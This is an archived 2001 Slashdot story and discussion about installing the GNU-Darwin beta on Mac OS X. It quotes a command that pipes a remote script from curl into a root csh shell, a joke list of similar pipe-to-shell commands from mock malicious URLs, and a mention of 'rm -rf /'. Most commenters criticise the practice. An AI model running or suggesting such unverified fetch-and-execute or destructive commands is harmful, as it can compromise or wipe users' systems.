Slashdot Log In
GNU-Darwin Goes Beta
Posted by
CmdrTaco
on Mon Oct 29, 2001 11:28 AM
from the now-that's-easy dept.
from the now-that's-easy dept.
proclus writes "OSX.1 users can now install the GNU-Darwin base distribution automatically with one command. As Root: "curl http://gnu-darwin.sourceforge.net/one_stop | csh"." This assummes you have curl or wget or something. From there you can install gnome, abiword, gimp or whatever. Looks pretty smooth (although I'm kinda confused how you get back to OSX.1 from there ;)
This discussion has been archived.
No new comments can be posted.
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
getting back (Score:2, Informative)
gnome over x? (Score:4, Insightful)
(and what's with this 20 seconds before post rule? does everyone on slashdot think really slowly?)
Re:gnome over x? (Score:4, Interesting)
Steve Jobs knew this would happen. Kind of like Field of Dreams, "If you build it, they will come."
Here is one screenshotWindowmaker and other goodies [hyperjeff.net]
this one is nice too. a lot going on [hyperjeff.net]
Parent
Re:gnome over x? (Score:2)
Ok, that's really freaky. It almost makes me want to have a Mac.
I thought Aqua didn't use X though. How does this actually work? What's the window manager?
Re:gnome over x? (Score:4, Informative)
Parent
Re:gnome over x? (Score:2)
Does that mean that the X applications run on a plane "above" Aqua? So an X window can't be beneath an Aqua window?
I guess what I'm missing is how these two environment's interact. How, for example, does an event (mouse-click, keypress, etc.) get to the right environment? If I give focus to an Aqua window, does the X window lose focus?
context switching (Score:2, Informative)
Re:gnome over x? Afterstep (Score:2)
Re:gnome over x? (Score:3, Informative)
And the 20 second rule is to try to discourage crapflooders and trolls. Not very effective, but its something most regular users don't come across (I haven't, at least).
Re:gnome over x? (Score:2)
I use a similar ditribution to run GNU-Octave on my machine. It is faster and more convenient for me to run X apps on my iBook than on my old Pentium II linux box.
Re:gnome over x? (Score:3, Insightful)
I'm surprised nobody else said this; It's let's me run my X apps. As a long time linux user who just switched to OSX I find myself missing gvim, gaim, etc. With X11, I can get these things going again. Now I have the beauty of OSX, the stability of unix (bsd), and the apps of the open source world. I like my apple.
What's so special about this distribution? (Score:5, Interesting)
fink == apt-get (Score:4, Informative)
Parent
Re:fink == apt-get (Score:2)
Cool stuff, but beware of Dillo (Score:2, Informative)
Dillo is a neat little effort, a cool side project, but no replacement for a real browser like Galeon or Konqueror. It is beyond a shadow of a doubt, the lowest point of the GNU-Darwin package.
-CT
That script is weird... (Score:4, Informative)
That said, I'll just download the ISO and free up a partition to run it alongside Mac OS X and Aqua. That way my normal OSX system is guaranteed not to break. My mac is a test machine anyway. I run different operating systems on it depending on what I need to test. I urge everyone that wants to test this on their machine that runs important stuff to BACK UP THEIR IMPORTANT FILES, just to be safe.
Oh.. another thing: it's BETA. It might break. So be a little cautious, and be prepared to pull up your sleeves and do some work if it breaks, but hey, that's what being bleeding edge is all about, right?
But anyway: Great work guys! I'll seriously check it out. I'm downloading the iso as you read this comment.
Re:That script is weird... (Score:2, Interesting)
Also, Apple does beneficial work on the commands that they include. For example, with the rm included in 10.1, it is now able to delete files that are locked at the (HFS+) filesytem level. Gnu rm will never do that.
Re:That script is weird... (Score:2, Informative)
Definitely a YMMV is in order.
Re:That script is weird... (Score:2, Informative)
Nevertheless, what you guys are doing with the free Darwin system is very cool, I will heartily agree with that, but "upgrading" my existing OSX system with your script is a bit dangerous. There's another comment in this discussion somewhere that talks about that as well. Maybe you could provide a version of the script that only installs the rootless X stuff and the GNOME bits, and maybe a script that transforms an Aqua system to a GNU/Darwin one. The possibilities are endless here, as are the wishes of the people that wish to run those nifty OSS X11 apps on their Aqua setup. I would like to help, but I have priorities elsewhere that take up most (if not all) of my scarse free time. I will definately try GNU/Darwin on my Mac, but I'll just play safe and set a partition aside for it, so I won't hose my Aqua system.
You guys are doing a great job, but the OSX install script has issues (and it even says 'untested' in the script header somewhere). I am not trolling, and I am not attacking your project. I am merely warning people that they should be careful.... That's all... You guys keep on going. You are doing some cool stuff. But a YMMV is definately in order here.
So people, just try the upgrade script, but your mileage may vary. Oh, if it somehow screws up your machine, please send bugreports to the GNU/Darwin people and don't forget to report what setup you have and what the problems were so they can fix it.
Re:That script is weird... (Score:2)
WGET Missing from OS X.1 (Score:3, Interesting)
Well, I did have wget in 10.0 up to 10.0.4, but the 10.1 update "helpfully" deleted it from my system. After several annoyed looks and some time spent searching Google, I found a download site [24.5.29.77] for a precompiled binary for wget that will run under OS X (downloads as an installer .pkg file; you'll need to be root or an admin to install it.) The file is, for those who want to get it directly, here [24.5.29.77] (.tar.gz format... use gunzip and tar -xvf to unpack if StuffIt Expander doesn't/can't.)
If you really, really want to compile yourself (you need to have installed the developer tools, which come with boxed copies of OS X), the source is here [gnu.org].
Beats me why Apple did this...
WGET gone; curl is it (Score:2)
I believe it was deprecated in favor of curl, which I'm told is more robust anyway. It has the same basic syntax:
curl url
Re:WGET Missing from OS X.1 (Score:3, Informative)
This just in... (Score:3, Funny)
Um, disturbing (Score:5, Interesting)
From the script:
Erm, so 10.1 comes with curl, which besides providing a library for use in your own programs, also seems to be more unix-like and full featured than wget, with the exception of recursively getting an entire directory tree, which 95% of the time I use wget I'm not doing anyway. This script also doesn't seem to use wget for anything but fetching single files. (Was s/wget/curl -O/ too hard?) Oh boy, here come the first of the unwelcome "improvements." Apple thoughtfull provided not only the bsd tar program, but a binary called "gnutar" as well that seems to support all the options of GNU tar on my linux machines (With the one exception of bzip2 compatability, but that's easily fixed by piping bzip2 output to tar.) And KILLALL, don't forget about one of the single most dangerous commands to get into the habit of using, next to rm -rf. God forbid they have to cat pid files or even use awk to figure out a process id in a one time use shell script. It might make the script ugly.*sigh*
I really do appreciate the work GNU-Darwin is doing, they're filling the few gaps on my osx machine. I just wish they didn't go the extra mile to make my system GNUified. It's not becoming of a nice BSD install.
Re:Um, disturbing (Score:2, Interesting)
Instead of instantly running to my Mac OS X machine to type in the command line so I could have GNU/Darwin on my OSX installation I first _READ_ the script.
Again... YMMV to all who try this out. Don't whine if it breaks. I can not stress this enough: back up your important files first.
I wish Taco took more care in posting stories like this without slapping a big YMMV on it. Someone actually might try it out and render his system unusable. I'm waiting for the horror stories already.
Oh, I would like to mention that GNU/Darwin is very cool, I have no gripes with it (yeah, well I got some, but they are merely small things I needn't bother anyone with and which I can easily solve myself) but I am always weary of "ready to run" upgrade scripts that run right off the web. It makes me think of a comment Wietse Venema once made about security and running scripts in a hapless fashion without checking what it actually does.
So... again... YMMV... If it breaks, well, you have been warned. Now go and have fun. GNU/Darwin is seriously cool. Try it. (but back up your files, just in case).
Re:Always knew I was a bit cowboy (Score:2)
That really kills EVERYTHING, no prompt, no quckhelp, (if you were root). It's the fastest way to take down a small supercomputer that I know of.
curl | csh? Danger will Robinson, danger!!! (Score:3, Insightful)
curl http://gnu-darwin.sourceforge.net/one_stop | csh
Erm. Isn't this a bit of a dangerous install strategy? e.g. sourceforge get hacked again and http://gnu-darwin.sourceforge.net/one_stop points to a script that starts with 'rm -rf /'. Not so fun now...
Wouldn't it be better to use something that does a bit of public key crypto and verifies that you are really downloading something signed by a darwin guy or sourceforge? At least using https would help to stop a man in the middle attack...
x86 Darwin (Score:4, Interesting)
Re:x86 Darwin (Score:2)
What's so wrong with 'rm -Rf ' ?
Did you read my post ? If you did, I would like you to explain what your post had to do with x86 Darwin.
Note the actual license on GNU-Darwin-ports (Score:3, Informative)
And, on the main page, the license is listed as GPL. http://sourceforge.net/projects/gnu-darwin/
DON'T DO THIS UNLESS YOU WANT TO REPLACE OS.X.1 (Score:2, Informative)
Other safe, easy installations to run as root: (Score:3, Funny)
curl http://goatse.cx/setwallpaper.csh | csh
curl http://spamforprofit.org/easymoney.pl | perl
curl http://microsoft.com/msonly/seekNdestroy | bash
http://curl.haxx.se/ (Score:2, Informative)
Lots are being said about cURL in these discussions, both favourable and some things not so favourable. Feel free to stop by and make your own opinion.
We host our project web pages at http://curl.haxx.se/ [curl.haxx.se] and we welcome your contributions!
GNU? (Score:2)
And of course, GNU Darwin is not a GNU project. So why is it called "GNU Darwin"? This project has nothing to do with GNU. Sure it has some ported GNU software, but so do my Solaris and FreeBSD boxen. Come to think of it, so do my Windows and QNX boxen.
Re:GNU? (Score:2)
He just thinks that Linux is really The GNU System with linux as the kernel instead of Hurd.
GNU Darwin is no such beast. Not even close.
In theory, your Windows box with GNU software (If it has the full set) is now "GNU-Windows".
Of course Windows doesn't have the "full set". GNU is a complete operating system in its own right. What good is Hurd going to do under Windows?
But that's beside the point. Not even RMS considers Windows with all possible GNU software installed on it to be "GNU/Windows".
Re:GNU? (Score:2)
That might make sense if all of the free software you were porting over to Darwin where GNU software. But it's not. GNU is not a repository of all possible free software. It is a specific project to create a specific operating system.
Why not call it "BSD Darwin"? BSD is also free software, and there's a hell of a lot more BSD stuff in GNU Darwin than there is GNU stuff. Since RMS insists that LinuxOS be called "GNU/Linux" since he thinks it is derived from GNU, then why not call your project "BSD Darwin" since it is clearly derived from BSD software.
Or even better, since you want to use "GNU" to imply "free", why not just call it "Free Darwin?" You would avoid much confusion that way. It would also avoid pissing off the BSD community by taking their software and renaming it GNU.
Re:GNU? (Score:3, Insightful)
GNU != free
...and it sure would be nice if RMS and his commie-butties would quit trying to give such a singular meaning to a word that has so many interpretations within our language.
It's absurd, I tell you. Websters has it right. There's multiple definitions of the word "free". Therefore, assuming a singular meaning for a term like "free software" is bunk.
By the way, I find you and your project boring and trollsome. I'm glad you prefixed it with "GNU" so I can toss it into the same loony bin linux belongs in.
(pre-emptive "fuck you" to the moderator who mods this down - I'm damn right with respect to the word free, don't cover it up with slashtrash points)
Time for a darwin topical icon? (Score:2)
Ximian (Score:2, Informative)
Re:Ximian (Score:2)
Perhaps yast or apt-get check the signatures on files. RPM does also (well, except for a few files this last time
I don't really like blindly trusting downloads, even from good sites. There have been too many compromises.
(I must admit, that what really got to me about Ximian was the way that it tended to stomp all over KDE installations, but when thinking about replacement strategies, I realized just how uncomfortable I was with the blind downloads.)
Re:And whats even better, (Score:2, Informative)
- beause you can access your existing HFS+ volumes
- because you don't need to repartition your harddrive when installing alongside MacOS
- because you can access resource forks, type/creator codes and all that stuff
- because putting a machine to sleep actually works
and more...Re:GNU Darwin? (Score:2, Informative)
Re:GNU Darwin? (Score:2)
Curl, proprietary, are you on crack or just a troll? Curl is under a MIT/X license. Check out http://freshmeat.net/projects/curl/
Re:GNU Darwin? (Score:2)
But not only that, they're disappearing down the same route as Ximian, namely chasing Microsoft in the "features and convenience are more important than security" game. The more users get used to seeing installation instructions that involve piping the output of an arbitratory web download into a root shell, the more they'll start to believe that's just the way it's done. You or I might know better, but the average user that'll be thinking ofdoing this probably won't.
No more security risk than usual (Score:3, Insightful)
When's the last time you read the entire Makefile and all external files that it calls, before typing 'make install'?
This is no different from downloading a tarball with a Makefile inside. You are downloading a script from the net and running it as root. You either check the script yourself beforehand, or you rely on the fact that a reputable party is providing the script and that more paranoid users will be checking it and publicizing any trojans inside (and ruining the reputation of the author).
The situation I would really warn against is running an unexamined script that isn't provided by a known author, or even worse a compiled binary with no source available. As long as the source is public, it is no different from what Unix admins have been doing for decades every time they install software.
Re:No more security risk than usual (Score:3, Insightful)
Dunno about you, but when I download a tarball, I sure as hell don't su to root and blast away with 'make install' right after I get it. I read the READMEs and install instructions, read some docs, check out the available install options, and generally have a look around. Then I make the binaries under my usual login account, take a look at the results, and finally 'make install' as root as the very last step.
Sure I could still get fooled that way, but it does give me a good chance at an informed opinion about whether the stuff I downloaded and will install is indeed what I thought I was getting. And in fact, sometimes I've stopped the process, because the package in question required something for the install that I wasn't willing to do.
Piping the output of a web page into the C-shell as root is about the most cockamamie idea I have ever seen! And this is in a headline on Slashdot! You've got no chance to decide whether you're installing something legit -- even the most cursory inspection is impossible. Sheesh, if this is what people running Unix boxen are going to start doing, then it won't be long before the Unix world is just as saturated with Code Reds and Nimdas and God knows what-all the Microserfs have to live with.
Re:GNU Darwin? -- Troll (Score:2)
You've got to be a troll. Anyone who's been around *NIX for 2 months or longer knows the difference between cURL [curl.haxx.se] and Curl [mit.edu]. The fact that the context is either using "curl" or "wget" makes this incredibly clear.
RETRACTION (was Re:GNU Darwin? -- Troll) (Score:2)
No. Not trolling. I've dabbled in *NIX and have a BSD partition for when I absolutely need it, but I only fire it up every 6 months, sometimes longer.
I honestly had no idea there was something called cURL. The only time I had ever heard "curl" used in association with computing was in connection with Curl, the MIT-commercial partnership to which you linked. So, I retract my previous statements in regards to cURL.
Maybe I went off half-cocked, but then again if I made this mistake maybe others will too. Poor marketing on the part of cURL? If Curl is really "out to get people" maybe cURL should consider a pre-emptive name change to prevent lawsuits.
Re:RETRACTION (was Re:GNU Darwin? -- Troll) (Score:2)
Well now, it seems that you are just being petty here, but I'll reply anyway.
Perhaps your not a part of tehir target market? Or is your ignorance always the blame of someone's marketing department?
As a matter of fact, my ignorance is the fault of marketing. It's not my job to know the name and purpose of every product on the market. It's marketing's job to make their product something I know about. If it weren't for marketing, "windows" would be something you open when the weather is warm, "oracle" would live in "delphi" and "ford" would be a stream crossing. It wouldn't be my fault for not associating these words with something else.
Now it seems to me that Curl must have a pretty good marketing department, since they got mentioned on /. even though their philosophy is 180 from a lot of people here. cURL OTOH, being Open Source, probably doesn't care about marketing, which is just one of many problems with OS/FS.
Being reasonable people, I don't think they have any intention of suing MIT
Read what I said again. You switched cURL with Curl.